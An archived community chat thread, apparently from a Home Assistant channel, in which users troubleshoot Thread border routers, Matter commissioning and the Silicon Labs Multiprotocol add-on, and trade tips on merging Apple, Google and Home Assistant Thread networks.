thread-archived

[low lotus]

Just got a notification about a new version of the Silicon Labs Multiprotocol Add-On (2.3.1), when I try to update I get this error:

Logger: homeassistant.components.websocket_api.http.connection
Source: components/hassio/update.py:169
Integration: Home Assistant WebSocket API (documentation, issues)
First occurred: 6:05:03 PM (1 occurrences)
Last logged: 6:05:03 PM

[547158246336] Error updating Silicon Labs Multiprotocol: Can't install homeassistant/aarch64-addon-silabs-multiprotocol:2.3.1: 404 Client Error for http+docker://localhost/v1.42/images/create?tag=2.3.1&fromImage=homeassistant%2Faarch64-addon-silabs-multiprotocol&platform=linux%2Farm64: Not Found ("manifest for homeassistant/aarch64-addon-silabs-multiprotocol:2.3.1 not found: manifest unknown: manifest unknown")

[still quiver]

Me too, not updating when I press update.

Working now

[low lotus]

I'm still trying to wrap my head around thread and border routers and matter, etc.: I have a bunch of Nest Hubs around the house and they act as BRs and create a Thread network and the HA Thread integration can use those to communicate with Thread devices. Correct?

Is there any benefit in dealing with all the complications of using the Yellow radio with the multi-pan firmware and running the Multi-protocol Add-On and the OpenThread BR Integration, if I already have a usable Thread network with several functional BRs?

[vapid shell]

Almost correct. All the HA thread integration does is act like a keychain or wallet that stores credentials for known thread networks. You don’t even technically need it to be able to use some combination of BR and end device.

The nests advertise an ipv6 subnet, so any ipv6 capable device on your network can reach those devices with normal network code.

[half bluff]

2023-08-04 19:23:22 homeassistant universal_silabs_flasher.flash[181] INFO Firmware version '4.3.1' does not match expected version '4.3.0'

Anyone getting this error

on multi protocol addon

I just updated it and now it wont work

[vapid shell]

I would say that for most users there’s not much benefit, and you avoids stuff like that ^

You get more control but more bugs, at least you do right now

However things are changing often. Right now Apple seem to have the best BRs. A couple of months ago they were considered the least stable.

[low lotus]

I see, do I need the Thread Integration to be able to add a Thread device to HA and use it in automations?

[vapid shell]

You should definitely have it installed

It is used by the android app when adding a device

[low lotus]

Understood! This simplifies things a lot for me, I can flash the Zigbee only firmware and have better Zigbee performance and still add Thread devices without these extra complications... That sounds great!

What kind of benefits would having the OpenThread BR give an advanced user?

[vapid shell]

More logs

Not to say that I’ve found them the most useful

So when we first started using HomePods with homekit_controller we had no logs

So every user I helped I had to start at the HA box and use “black box” testing to figure out where packets got lost

OTBR logs and being able to run diagnostics like tcpdump on the wpan0 device that’s connected to the mesh means it’s a lot easier to isolate faults

Doesn’t necessarily mean you can fix them any easier

Things like channel are automatically configured for you with apple and I assume google. I assume they pick a good one but you can’t set your own.

In theory you can get a mesh view with OTBR (in practice it’s buggy and likely to be removed)

I guess in theory you could use TREL today without waiting for google and apple. TREL is a way to offload some mesh traffic onto WiFi or Ethernet. This can reduce pressure on your mesh (less traffic on it), and can also let you extend your mesh in areas where range, interference or building materials are impacting your mesh performance

It’s not enabled by default in HA and only helps if you have multiple compatible OTBRs

In future it will be a mandatory part of spec so everyone will have it anyway

[low lotus]

Ok, yes I can see the benefits for advanced users, I think at least at the current state for a user like me this adds to mane moving parts and complications that are not really necessary for just a couple devices...

Thanks for the info, I learned a lot!

[vapid shell]

Fwiw, my “production” thread network is apple HomePods

I have a separate OTBR for dev work

[low lotus]

Interesting, I am most invested in Android / Google so hopefully the BR in the Nest Hub works reasonably well...

[vapid shell]

It was considered the best until recently

I think the latest firmware was a bit wobbly but hopefully temporary..

Still firmly in 2nd tho

[low lotus]

One last question, to add a new device, I would first need to add it to Google Home so it joins the Thread network and then add it to HA using the Matter integration, right?

[vapid shell]

https://www.home-assistant.io/integrations/matter/#add-a-device-using-the-android-companion-app

Or https://www.home-assistant.io/integrations/matter/#share-a-device-from-google-home

[low lotus]

But does option 1 still work to add the device to the thread network created by the Nest devices?

And if I do option 2, HA will still control the device locally without any use of Google Home cloud?

[vapid shell]

Both methods rely on the google sdk to commission the device.

Your phone will make a Bluetooth connection to the device and it will upload the thread creds over that connection. After that process, it’s on your network. Its almost like it’s on your WiFi, it’s pingable by any device on your LAN (that has ipv6)

In both cases HA will have a local connection to the device. Matter is a local protocol.

[still quiver]

When adding a new device via android app, would it be beneficial to be right beside the device or the router?

[low lotus]

Got it, thanks!

[vapid shell]

The Bluetooth connection is from your phone to your device, not to your router

You need a good WiFi signal as well of course, but that’s usually easier than a good Bluetooth signal

[still quiver]

Thanks that makes more sense now

[edgy creek]

There was an update for the silicon multilabs addon, now I can successfully connect the aqara P2 door/window thread sensor via skyconnect 👍

Used android btw

[wary mountain]

Alright, let's try flashing OpenThread to the Skyconnect again and see if I can get it back to working.

[royal light]

Oh, @wary mountain you are singing the same tune as me. All my Matter/Thread and Zigbee are down this AM on SkyConnect and Pi4.

[simple yew]

Gonna ask this (and if it's too OT will delete). I have an apple homepod based thread network (on my 'main' network), and I have a nanoleaf shapes (on my IOT network). It will join the existing thread but it's on a different Subnet. I accidentally enabled that then turned it off...

Was thinking about it again, would that mean that I could access thread/matter devices from either subnet (and then allows me to HA from the "main" network to the IOT one).

I'm suspecting this is the kind of overly complex thing that i'll rightfully be told "why don't you just go and try it" but i wondered if anyone had any experience with multiple TBRs but on different IP subnets.

[vapid shell]

If i understand correctly, you are saying what would happen if you have multiple border routers on the same thread network, but different subnets on your ethernet/wifi network? (the homepod / shapes distinction through me a bit so wanted to check i'd not missed anything)

for one thing, its hella not supported, you break it you keep the pieces and don't bother asking for help territory.

as for what would happen on the wire

in theory any border router can squirt your packets into the mesh

even if they are on different VLANs

(an aside: this can be problematic because the routing code on linux has no knowledge of which TBR is the best for a given routing decision, if you have 5 TBR's all advertising one mesh, linux is picking one at random even if its got the weakest connection to the mesh)

the problem with your idea is..

the return path

theres no "source based routing"

the reply will go to a random TBR

[simple yew]

Fun. Ok. I suspected it wouldn’t work. Thanks for confirming. (I was briefly “oh I can stop advertising only on one vlan” but then you mentioned the next foible.

Thank you 🙂

[vapid shell]

the other thing that will go a bit weird is that TBR's create an ipv6 network on both sides, so you'll see a "ULA" /64 appear on all your devices on the same LAN as a TBR

what i'd expect to see with homepods at least, and probably others, is that the same /64 would be broadcast on both VLANs

so if your HA was multi-homed, it would be a ULA address for the same /64 but on 2 different physical interfaces

im not even going to speculate about what happens next

[simple yew]

HA would end up single homed. Not that I’m doing this now

[vapid shell]

it would still be weird to have the same /64 on 2 different VLANs

[simple yew]

I’m almost tempted just to see how confusing it gets, but the problem is that removing the nanoleaf from the mesh is destructive and painful and I can’t face doing that again. (That said just remembered I have a spare controller so could try that way)

Thank you so much tho, I was just wondering if it could have maybe been useful but sounds so off piste not worth even trying.

HA gets to remain on the trusted lan. For now.

[wary mountain]

https://www.theverge.com/23820078/matters-biggest-problem-apple-google-thread-border-router-interoperability

[vapid shell]

i think the "why thread" question at the start really comprimises the rest of the article for me. not really sure how they think Matter over Zigbee would work. Or how Matter over Bluetooth wouldn't be.. slow.. and problematic range wise.

[simple yew]

that's just the verge explainer box isn't it?

[vapid shell]

the 2nd and 3rd paragraph calling thread a political decision?

and its a problematic and political decision that other more established protocols need "bridging" to be able to use matter?

[simple yew]

Sorry i'd missed that, and I'm irrationally fond of Jen because of her accent. BUT also, matter does bridge/work over wifi :/ hey ho

[vapid shell]

yes, but thats an extra hurdle for manufacturers

(also para 2)

the criticism of the situation with TBR's is reasonable though

[simple yew]

concerns over the questionable opener, Jen really lives the smart home life. If anyone is going to know how things are going, its her.

[vapid shell]

oh sure

if it wasn't for those 2 paragraphs i'd have had nothing else to say

[simple yew]

also it isn't even that complicated politics, it's obligatory link to... https://xkcd.com/927/

[vapid shell]

that verge explainer box tho

Thread doesn’t need a dedicated hub to allow devices to communicate. Instead, in a Thread network, devices talk directly to each other, reducing latency.

i mean its true that my homepod isn't a /dedicated/ hub i guess, but i'm not sure what the 2nd sentence is trying to say

my phone.. still talks to a hub?

[simple yew]

and like the first bit i feel like is badly trying to say "dedicated hub per each vendor"

[vapid shell]

yeah

[fluid moss]

Google’s Po tells me that “Apple and Google Thread border routers can share the same Thread network by leveraging the iOS Thread network APIs.” So, you could have a Google Nest Hub Max and an Apple TV join a single Thread network if you set them both up using an iOS device.

Does this work?

just reset my nest hub and set it up again using my iPhone and it still created a separate network

[vapid shell]

What we’ve seen with the android app is that it can remember its preferred thread network unless you (iirc) delete some framework first and reinstall. Potentially losing any google pay on that phone in the process.

So maybe remove the iOS app and reset the nest and try again?

[spice imp]

I thinks it’s the opposite 😂 Zigbee is owned by csa who is making matter too, thread is “owned”by the thread group

[vapid shell]

And hope it doesn’t sync it to the clouds

[vapid shell]

I’m at a loss at what matter looks like so that manufacturers don’t have “an extra step”

[spice imp]

They should just never have changed the name from connected home over ip to matter

[fluid moss]

seems to be a new network, the 4 digit code at the end of NEST-PAN is different.

[vapid shell]

Then maybe you have to set up the google BR first, and then add HomePods

Who knows

[fluid moss]

yeah not going to do that 😄 , was just playing around anyway

[spice imp]

I’m not sure I get your comment. My point was more that they took another wireless standard than their own, what’s more an disadvantage for the csa alliance.

[vapid shell]

I’m not disagreeing with you, I just felt like the article brings politics into it when, like you said.. matter is an ip protocol.. and they are talking about zigbee and zwave..

Like we don’t even need to make a point about politics (even though you have a point) because the premise is 1+1 is 3 and what am I reading 🤪

[spice imp]

That’s basically also what I meant, I’m just bad at formulating it

[vapid shell]

Matter should have been a standard than vendors didn’t have to do an extra step and.. implement.. is that really what I read???

This is why I only read lwn and the twitters of 3 kernel developers

Anyway it’s just filler, for the main problem which is both ecosystems want to control the UX

[spice imp]

Yeah, I have a feeling that most journalists mix too many things up

[vapid shell]

Which is a real problem

I mean look at WiFi, it’s how old and there are still interoperability problems

If you have this router and this WiFi your iPhone sometimes won’t do dhcp but change any of this 3 things and it works

Frankly that shit means I’m in no mood to have 6 different BR vendors in my house

[spice imp]

I Hope this gets fixed at some point

I mean this is one of the biggest advantages of thread and it’s not being used correctly

(That they should be able to work together)

[vapid shell]

Yes but the real world

HA had to carry patches to the kernel and network manager for thread to work 🤪 and it’s uses ipv6 stuff that has existed for years

Having 2 thread BRs on your network with NO thread devices can make chrome randomly reset page loads

And that’s without cross vendor fun expanding your test matrix

(Turns out upstream network manager can only handle one active route, and thread readvertises its routes every 3 minutes so with 3 BRs you get a route change once a minute. Chrome reacts to route changes (could be a security issue if vpn starting or closing) by resetting page loads.

So once a minute your chrome downloads stop 🤪)

[simple yew]

I mean, two birds, one stone - hopefully it'll help sort a bunch of these IPv6 things also, because we really need to f'ing get on with it.

[spice imp]

My old Sony tv tries to access the internet over the IPv6 address from my thread network sometimes 😂

[simple yew]

Ah-maze-ing

[spice imp]

And my isp doesn’t support IPv6 either, “we don’t have the infrastructure yet”

(Even though big parts of their infrastructure have)

[spice imp]

Yes

[hoary harbor]

“This new fangled IPv6 stuff took us totally by surprise!”

> literally invented in the 90s

[shy iris]

For a while, the main reason people didn't implement was router memory. didn't have enough for the routing tables which you can get with ipv6

less of an issue now

[simple yew]

But ipv6 was better for routing table memory use ironically, as the bigger space makes it far more “nicely” allocated unlike the Wild West of an exhausted ipv4 with people grabbing CIDR blocks from here from there from everywhere.

[simple yew]

(Off topic but recently I found that IPv6 is actually a cost saver for certain cloud things now. After only 30+ years)

[shy iris]

"but I can't remember the IPs!"

(boo hoo. use a dns server)

[spice imp]

Just put enough 0 in a row and it’s easy enough 😂

[shy iris]

😄

[spice imp]

2001:ABCD::1

My dream address

Found another good one

2001:1:2:3:4:5:6:7

[shy iris]

2001:DEAD:BEEF::1

(some people also aren't aware that, generally, you can work with the base 10 representation of an ip.)

http://16843009/

heh. auto converted by discord.

16843009

[simple yew]

i did some stuff with video multicast years ago... and through luck all those groups were DEADBEEF and it made me smile.

[still quiver]

Hey if anyone is experiencing elevated cpu utililization with the silicon labs multiprotocol addon, you can try the next unreleased version of the addon here as a preview

https://github.com/home-assistant/addons/issues/3139

[soft lynx]

hm, did apple break thread 1.3.0 on homepod minis?

[quiet stirrup]

what version of homepod OS?

[soft lynx]

great question, 16.6

[vapid shell]

What is broken for you?

Think one of my homepods has updated so far, and it could be that the other one is holding things together for me 😆

[soft lynx]

hehe

hm, i'm unable to cross pollinate a homepod thread network with HA from android

i just tried it from iOS though, and now it works, so my question may have been in error

[vapid shell]

Using Apple BR's with anything but Apple BR's (and iOS) is a pain point around here. If you find a reliable way to use e.g. NEST BR's with Apple BR's then we'd love to hear.

[soft lynx]

i'm also unable to add the device to google home using the homepod thread network, but that's another problem unrelated to HA

yeah, it's interesting, because it "should" work

[vapid shell]

"should" unfortunately does a lot of heavy lifting

https://www.theverge.com/23820078/matters-biggest-problem-apple-google-thread-border-router-interoperability

https://9to5mac.com/2023/08/08/thread-standard-isnt/

etc

[soft lynx]

i haven't even gone down the path of trying to get my eero thread network to play nice, ugh

Currently, Amazon border routers will only work on a network set up by their devices (some Eero Wi-Fi routers and Echo fourth-gen smart speakers) and won’t join an existing Thread network nor allow devices from other manufacturers to join their networks.

sigh

[vapid shell]

Indeed

[soft lynx]

i have faith that everyone will come together here, it will just take some time

and if not, well, there's always the new reality that EU regulation will make everyone do it lol

i think medium term i'll move everything over to the google home thread network as google is generally more open here, and ditch the iOS setup mechanisms

thanks homie, now, off to figure out how to get lexus control into HA, lol

[sullen anvil]

So I've been fighting with thread and apple's BR and saw that you could actually merge the networks - so I made HA join the apple network and it appeared to let me do it. Things are currently functional.
I'm hoping this resolves the issues I was having with synchronization where things just fell off the network after a period of time.

If it's of interest, will let you know how it goes

[fickle mantle]

How does one merge Apple Thread with HA Thread?

[still quiver]

three dots by the skyconnet

and similar if you have yellow

[sullen anvil]

Does that allow you to enter the details of the network you want to join? If so, that would have been so much simpler than my route lol

[still quiver]

https://ibb.co/NC6Wsrs

looks like that at the end

well, I never got that advanced....I just was able to switch channels

the nest hubs were channel 16

[quiet stirrup]

How does that just “allow” you to join? You gotta have the credentials?

[still quiver]

I made the nest hubs the preferred netwrok

then I added the SkyConnect to that nest network (after changing the channel)

then, I changed the channel back to what it was because my ZHA was very unreliable on Channel 16

that also changed the Nest hubs thread network to channel 20 (my preferred channel)

[sullen anvil]

I have exactly the same result, but didn't think to click the three dots.

My setup:

• Nanoleaf bulbs/lightstrips
• HA on rpi4 + SkyConnect (with multi-protocol enabled)
• iOS nanoleaf app
• homepod mini

Rough steps:

1. In OTBR config, be sure to open up the web UI & api (I used default ports). You'll need this to join the other network
2. In the nano leaf app, I think with no devices paired, expanded out the thread network details of MyHome131561155151 and it gave me all of the credentials that I needed to join (it hasn't since, so I assume this is because of something that the homekit/nano app does as it joins the network)
3. Head over to the OBTR Web UI (http://homeassistant.local:8080/ for me) and then clicked "join" on the left.
4. Multiple networks were shown, so I cross checked the pan ID and hit join on the right one.
5. Just waited a while and went to the thread integration, then it showed the two BR's together and then made that the preferred one which also cleared up anything else remaining in the old HA network (you may need to reprovision credentials)

I think the major part is getting the credentials at least from what I read on the forums. That's where the nanoleaf app was actually really useful and I guess I lucked my way into getting it to show me the creds for the apple network

My hope is that my devices stop falling off the network

[still quiver]

good information. I also have the nanoleaf LED stips (2 of them), the do go offline sometimes, but mostly online. Sometimes they can go like 18 hrs without a disconnect, other times every 10 minutes. I think most here will agree its the device itself as everyone if reporting the same.

they always reconnect on their own, after 5 seconds or so

[still quiver]

have you noticed an improvement now that you combined your thread network?

[glad chasm]

Need some help here. I have HAOS on a HA Blue, and a SkyConnect. I had installed and working both the Silicon Labs Multiprotocol and Matter Server addons, and I have a Nanoleaf A19 Bulb and a Aqara Door Sensor P2 (and 2 more I have been trying to add, but that's another problem) along with 2 Nest Hubs.

Versions:
HA 2023.8.1
HA Supervisor 2023.8.1
HAOS 10.4
Silicon Labs Multiprotocol 2.3.1
Matter Server 4.9.0

I've encountered an issue where the Silicon Labs Multiprotocol stopped working and it took another reboot of HAOS to get Zigbee back working, but I am still unable to communicate with the Thread devices. If I look at the OT Border Router page, I can see all the devices in topology, but Matter still shows the devices as unavailable.

Does anybody have an idea where I should start to get my Thread devices back working again (Matter appears to be good, as 2 Wi-Fi Matter Devices are functional and working).

[quiet stirrup]

You got the thread add on?

Oh wait, it’s wifi, disregard what I said

[sullen anvil]

I'll let you know in a few days, but so far so good fast responses like when the devices are online. Most of my thread network will go down tonight (only a few things currently powered by smart switches). So it'll be a good test and see if things still function and rebuild in the morning

A nice thing about the OTBR Web UI though is that you can see the topology - not the greatest but it works 🙂

[glad chasm]

True, makes you long for the Zigbee topology map, but I figure this whole implementation of Thread is still young, those "nice to have" upgrades will likely come later, once the platform is more stable.

[sullen anvil]

Yeah it does feel like it a bit. I think the worst thing about it so far is the debugability (I'm only 2/3 weeks into building my smart home, so a lot of mis-steps about it so far). If I had time, I'd write an addon that connected to the thread network, much like the eve/nanoleaf apps do, assuming creds where available

[glad chasm]

I bought a house last year, brought a few Zigbee devices with me from my apartment, but this year is a slow build up of new devices. The Nanoleaf bulb replaced a Zigbee bulb that quit working, and the Wifi Switches and P2 sensors are net new, as I'm deciding what my end state switch strategy is going to be (since Matter devices are still trickling out).

[sullen anvil]

I bought a house last year brought a few

[fickle mantle]

I'm still puzzled.. the MyHome131561155151 is the name of the Apple Thread network right?, so I would think the NanoLeaf App picked up the Apple Thread Dataset (Nice!). But how did this Dataset get to the HA OTBR?

[sullen anvil]

I made OTBR join the Apple network and then added the dataset from the apple network back into main thread UI in HA. I don't know if that last bit was necessary, but it's all working still so can't have messed it up too badly lol.... YMMV

[fickle mantle]

I just don't see how the OTBR can join the Apple Network without knowing its Dataset.

[amber cliff]

Hello, I have been reading about Home Assistant for quite a while and I want to embark on the adventure. For now I'm running HA in a container on a micro pc. I would like to get into Matter Rey Thread and for that I was thinking of buying a skyconnect key and some Nanoleaf bulbs. Is this setup working? Is it complicated to operate, being in IT? The household is not very techno, it would have to be quite reliable, but I can tolerate a certain risk...

[soft lynx]

i'm a software engineer and long time systems person with decades of experience -- once you understand how everything "fits", it's easy enough if you have experience. HA excels at automation above everything else. i'm not sure i would recommend HA as a family friendly interface out the gate, though you can certainly customize some dashboards to make it pretty friendly.

thread itself is fine, though thread support for skyconnect is still experimental iirc, so you're better off using a TBR (i recommend a google based one)

[amber cliff]

Thank you for your response, I appreciate it. I would like a wired TBR, and I know that for now, Google doesn't seem to have one or just the full router bundle.? I was thinking of a Apple TV that can be interesting for its multimedia function but I'm on android...

[soft lynx]

google has a few options, https://support.google.com/googlenest/answer/12391458?hl=en-SG

a nest hub 2nd gen, or nest hub max, or, their wifi points (newest ones). i personally use a nest hub 2nd gen, as i'm on eero for wifi.

oh for wired, sorry, only the routers

the appletv route won't work unless you have an iOS device, or at least, it's incredibly difficult without one

i.e. iphone, ipad

[amber cliff]

To share the Matter code because of the iCloud keychain I suppose?

[soft lynx]

exactly

and because you can't install apple stuff on android, it falls apart

you can, however, install google stuff on iOS, which means google can work across both

[amber cliff]

If not, for now, my main objective is to make some decor with color bulb. I was thinking about Nanoleaf, but it's reviews doesn't seem good? Should go with Hue and wanting for more thread options in future... The price hurts me, it's for that that I was thinking about Nanoleaf bulb

[soft lynx]

so i have a lot of both nanoleaf and hue

including the standalone bulbs

[amber cliff]

Matter one?

[soft lynx]

nanoleaf, in general, is a wreck. i have now had to RMA two of their controllers (lines and canvas), it randomly breaks left and right, goes dark, you name it. the bulbs have been fine, but it makes me very skeptical of nanoleaf investment in the future

hue, on the other hand, has given me not a single issue. LED strips, lightbars, recessed lighting, and stand alone bulbs have all worked like a champ and have never failed me. it requires a hue hub, but that's really not a big deal.

wrt HA, hue integrates cleanly and smoothly (as does nanoleaf, when they actually work)

[amber cliff]

So you think that I should go in this way?

[soft lynx]

it's hard to say. my experience is an anecdote, but i hesitate buying more nanoleaf. that being said, man, their products are beautiful

[amber cliff]

The echo Gen 4 can be an option? But I'm not sure, I read somewhere that it just in thread 1.1 and not 1.3, but I can't validate it nowhere

[soft lynx]

i'm not sure, but if it's anything like eero, it's a walled garden

[amber cliff]

Walled garden? Sorry English is not my first language

[soft lynx]

oh sorry! it's uh, not something that interfaces or interacts with things outside of itself very well.

i haven't spent tooooo much time diving into it, but i have no idea how to make my android phone see my eero thread network

it sees my home assistant network and my nest network when i scan the qr code, but eero doesn't show up as an option, and i don't know why

[amber cliff]

Ok well thank you very much for your time! I will have to decide if I put my choice on the "too" costly Hue or if I'm waiting a another 6 months to see if some better TBR offers will came out

[amber cliff]

Do you have access to all options thru HA integration? Like scenes, etc?

[soft lynx]

yep

[amber cliff]

And Nanoleaf?

[soft lynx]

yep, when it works, which it doesn't very well

[amber cliff]

Ok well seem that in this case, pay more seem to be the way

[soft lynx]

if you just need bulbs and simple lights, i definitely recommend hue. if you want something more flashy, nanoleaf and govee are really the only options

[amber cliff]

Govee is cool, but the Cloud API is ..... And no local API for any bulbs

[soft lynx]

yeah it's the only reason I haven't invested in any govee stuff

I'm sure they'll add matter support, I believe they already started with a light strip

the rest will follow in time

but matter will always be somewhat limited I think, in terms of what is possible, i.e. I don't think you can do crazy reactive screen lights over matter and thread

[amber cliff]

I'm not that optimistic... The M1 is there since some months, and newer product is not Matter...

And like you said, Matter is in its start and seem to be limited in options, maybe that fun light cannot be control this way... We will see in time

But I hope!

[soft lynx]

alright, i have a question: in HA, i see two nest networks, one without a border router, one with. HA also has the network without the border router as the preferred one. anyone have any idea:

1. why there are two networks
2. how do i switch preferred networks?

https://imgur.com/a/4zU8Ywt

screenshot of what this looks like

...and now my nest network with the TBR just vanished. huh.

...and now it's back! okay, so, my thought is to uninstall thread, restart, delete the thread storage file, and then reinstall. thoughts?

(he says as he goes to do exactly the above without waiting for a reply)

okay, that fixed it (i think). now i don't have a preferred network -- now to figure out how to make my nest network the preferred one

oh, attempt to add a matter device and it sets it. cool. wow that needs some documentation

thanks for the help all! lol

[soft lynx]

another question, using the same setup as above -- does anyone know how to get the TLV config for eero? i can't for the life of me figure it out. i want my eero's to be part of the same mesh as my nest, which in theory should be possible on 1.3 (right?)

[soft lynx]

okay, figured out how to get the eero TLV (annoyingly, the option for thread goes away in the eero app if your eero's are in bridge mode. i had to unbridge, get the TLV, rebridge)

now to figure out how to make devices use it

[still quiver]

Just noticed there is a firmware update 4.3.1 for the skyconnect multipan. Anybody update?

[soft lynx]

is there a utility or something that can outline the current thread network topology? i.e. what devices are connected to what in the mesh, etc

[bronze fog]

If you have an iPhone + Eve Energy, the Eve app will map out all thread devices regardless of manufacturer.

[soft lynx]

hm just tried, no go, it can't detect thread networks at all

[vapid shell]

Yeah it’s probably limited to the BRs that iOS knows about. So your apple ecosystem is not connected to your nest exosystem = sad times

[soft lynx]

makes sense

boy, thread is... really not there yet as a standard, is it? like, it works great if you're all in on one vendor, but then you're right back to where you were lol

though i will say, adding stuff to google home -> going to the device settings -> clicking link and picking HA works great, so, I guess in theory it works, but i think what everyone really wants is "add this to one, and everything can see and control it with zeroconf"

[vapid shell]

The thread group has completely washed its hands of the key management problem, and left it to vendors. So now we are in a situation where.. is apple really going to let the Amazon eero app take over its border routers? And then they field support requests when Amazon starts changing the channel etc from under them

Probably not

Or not easily

I wonder if everyone originally expected that you’d pick one vendor that was effectively your “control plane” and you might add things like nanoleaf shapes that happened to act as a BR and make your mesh more resilient. But your main vendor (Apple/Google/etc) was still the control plane

But that’s not materialised and everyone wants to make hybrid apple /google/eero meshes

But which one is in control?

If apple and google both implemented channel manager (automatically changing channel due to crowding on same frequency), which one wins?

Like most users are going to have multiple thread networks and not even know and it’ll probably be fine

If apple was my daily driver I’d add all my gear through apple home and not know or care there were eero Brs

I guess what i'm trying to say is: It kinda feels like they built this expecting that you would pick a "control plane" like you pick Unifi or Aruba for your Wifi. The standard means you can get third party BR's that you can add to this control plane or another control plane. So Eve could make a BR, and they could make an app to add it to the iOS control plane and another Android app to add it to the Google control plane. They could probably do this now, and it would not be a big deal. But the vendors never understood or cared that some homes have Unifi AND Aruba (which only happens for Wifi when you are replacing one with the other), and that we'd all have a deep deep deep compulsion to merge everything together. There isn't a standard for when you have multiple control planes. And this is probably fine for most people, having lots of BR's doesn't really do much if you have a big mesh. Just always add devices the same way and it'll be fine.

Conversely, they designed Matter to have multiple controllers sharing a single device, regardless of who "controlled" the data plane. And that works pretty well from field reports in here /shrug

[stray obsidian]

I have HA Yellow - everything updated to latest versions. OpenThread border router seems to be having issues:

[09:28:51] INFO: Starting otbr-agent...
otbr-agent[2904]: [NOTE]-AGENT---: Running 0.3.0-8d12b24-dirty
otbr-agent[2904]: [NOTE]-AGENT---: Thread version: 1.3.0
otbr-agent[2904]: [NOTE]-AGENT---: Thread interface: wpan0
otbr-agent[2904]: [NOTE]-AGENT---: Radio URL: spinel+hdlc+uart:///dev/ttyAMA1?uart-baudrate=115200&uart-flow-control
otbr-agent[2904]: [NOTE]-ILS-----: Infra link selected: eth0
otbr-agent[2904]: 49d.18:19:16.771 [W] Platform------: Wait for response timeout
otbr-agent[2904]: 49d.18:19:18.774 [W] Platform------: Wait for response timeout
otbr-agent[2904]: 49d.18:19:18.775 [C] Platform------: Failed to reset RCP!
otbr-agent[2904]: 49d.18:19:18.775 [C] Platform------: ResetRcp() at radio_spinel_impl.hpp:279: Failure```

[upbeat cairn]

Do you have multi-PAN or the ZHA integration running with the internal Zigbee radio?

[stray obsidian]

I don't want to - I only want thread. How can I tell?

I went into the "switch to single network" but it only gave me option to enable Zigbee network

[upbeat cairn]

Do you have the Zigbee Home Automation integration installed or the Silicon Labs Multiprotocol addon running?

[stray obsidian]

Silicon Labs Multiprotocol

[upbeat cairn]

So you have both the "OpenThread Border Router" and "Silicon Labs Multiprotocol" addons installed? If so, uninstall the multiprotocol addon and restart the OTBR addon. The two addons are both trying to communicate with the same radio which won't work.

[stray obsidian]

Same issue, but I will reboot server after disabling plugin

[soft lynx]

yeah that sums it up nicely. in my case, I have eero wifi placed such that I want to use them as TBRs due to their effective range, but I can't

just makes the whole experience messy, I wish it would all "just work"

what's worse is I could extend it to where I need to via a mesh of devices, but there just aren't enough thread devices on the market atm. nest in particular is interesting, I would love a thread enabled outdoor cam that could increase my range, but there isn't one.

seems like we're all just a bit early on the thread train, us being 1337 hackers or whatever (I just dated myself). as everyone adopts thread, it's going to get better I think.

[quiet stirrup]

New update for the Nanoleaf app, it now shows all the thread networks, and also all the border routers, a bit like eve

[quaint osprey]

Awesome

Id like Qinging does the same, but they don’t even update its sensors to Matter

[still quiver]

Thanks just updated. It also picks up the skyconnect. No firmware update though.

[quiet stirrup]

Also shows the private codes for the Apple network I belive

Good for linking the sky connect to it

I’ll do some testing after work

[quiet stirrup]

Nice!, so you can now pull the network key from the apple thread network if you have any nanoleaf devices and connect the sky connect dongle/HA yellow to it, very cool indeed!

[normal arch]

the nanoleaf app used to do the same for nest, not anymore

make sure to set your zigbee network to the same channel as the apple thread network before joining it (if you are running zigbee that is)

[spice imp]

Which is why I think you should not use multi protocol

[normal arch]

I've been using multiprotocol for 6 months or more, no issues

[serene prawn]

@nova flint I converted your message into a file since it's above 15 lines :+1:

[nova flint]

ipaddr

fd7e:2447:1c49:1:ca53:50da:b1cb:4bcc
fd06:3ff1:b865:b1d2:0:ff:fe00:fc00
fd06:3ff1:b865:b1d2:0:ff:fe00:4000
fd06:3ff1:b865:b1d2:ff9a:d953:9a0d:545c
fe80:0:0:0:aca1:b4f3:e694:307d
Done

ping fd11:22::8.8.8.8

1 packets transmitted, 0 packets received. Packet loss = 100.0%.
Done

[flint hamlet]

How can you actually do this ? I can see all the network details from apple tv thread BR but I am not sure how to add those to Home Assistant. They dont show in TLV format and I believe thats the only way to add them to HA outside of login to terminal etc ?

can you generate a TLV from those apple tv network details as the nanoleaf app shows ?

sorry for the noob questions but new to thread and matter

[quiet stirrup]

well, you need to know the network key or PSKd, if you have any nanoleaf devices, and its connected to the apple thread network, it shows all the info you need to add the skyconnect or HA yellow to the network

[flint hamlet]

I do...I can see them

what I dont know is how to add them to home assitant

right now I see two echo networks plus HA Skyconnect network and my apple tv one

so at least now everything shows and works fot the moment

[quiet stirrup]

you need to enable the web portal for the open thread add-on

[flint hamlet]

but the nanoleaf devices are on the apple tv network.....trying to see if there is a way on briging them to the skyconnect one...or merge the networks

ohh ok

[quiet stirrup]

well, the skyconnect will join the apple thread network

[flint hamlet]

will that mean that if apple tv gets dced I can still access my devices ?

because thats an issue atm...I cant

[quiet stirrup]

it should if it works properly

big if tho

worth giving it a shot

[flint hamlet]

I got the web ui running....but keep seeing multiple networks (or devices ?) with the same pan id than my apple BR shown in the nanoleaf app :S

[quiet stirrup]

select one of the ones associated with the apple network, then enter the network key

[flint hamlet]

geez....home assistant is now showing as an external border router within apple's network 😮

[quiet stirrup]

good work, now it should work

so it should continue to work, even in the ATV goes down, if all goes to plan

[flint hamlet]

seems like the entire networks is resetting or something cuz only seeing a few devices now :S

[quiet stirrup]

yeah, its working out the most optimal connection

[soft lynx]

mesh is reconverging, similar to BGP

give it a bit

[flint hamlet]

yeah....all is good now

didnt tested getting atv down but will later 😄

at least everything seems to continue to work.....it shows both atv and HA BRs in the same Apple network

together with all the other devices

would be nice to make the echos also join them

or somehow edit the network details etc...but its a good start 😄

hopefully the whole credential management debacle will get fixed and everybody can play nice with each other 😄

[fickle mantle]

Can someone say again how the Apple Network credentials were given to HA (I think someone said via the OTBR Web GUI)?

[flint hamlet]

thats how I did it.....saved the network key and/or pcks from nanoleaf app and added them to one of the networks that matched my applet tv network Pan ID

like poshy suggested

[fickle mantle]

So when using the Web GUI to "Join" a selected network, does it prompt you for the network key?

is that how you entered the network key?

[flint hamlet]

yes

it does

this is how my thread integration looks like

guess cant paste images here

kinda makes sense

once you select the network you want to join it will open a new dialog asking the network credential type you want to use

then you can select the network key or PSK

[fickle mantle]

I think I got it...you use the OTBR Web GUI to join an Apple Thread netwwork, it prompts you for the network key, and the Add-On pushes this to the HA Thread integration.

[flint hamlet]

yeah

[fickle mantle]

Nice!

[flint hamlet]

I restarted the OTBR addon just in case but after a few minutes everything was up and running again

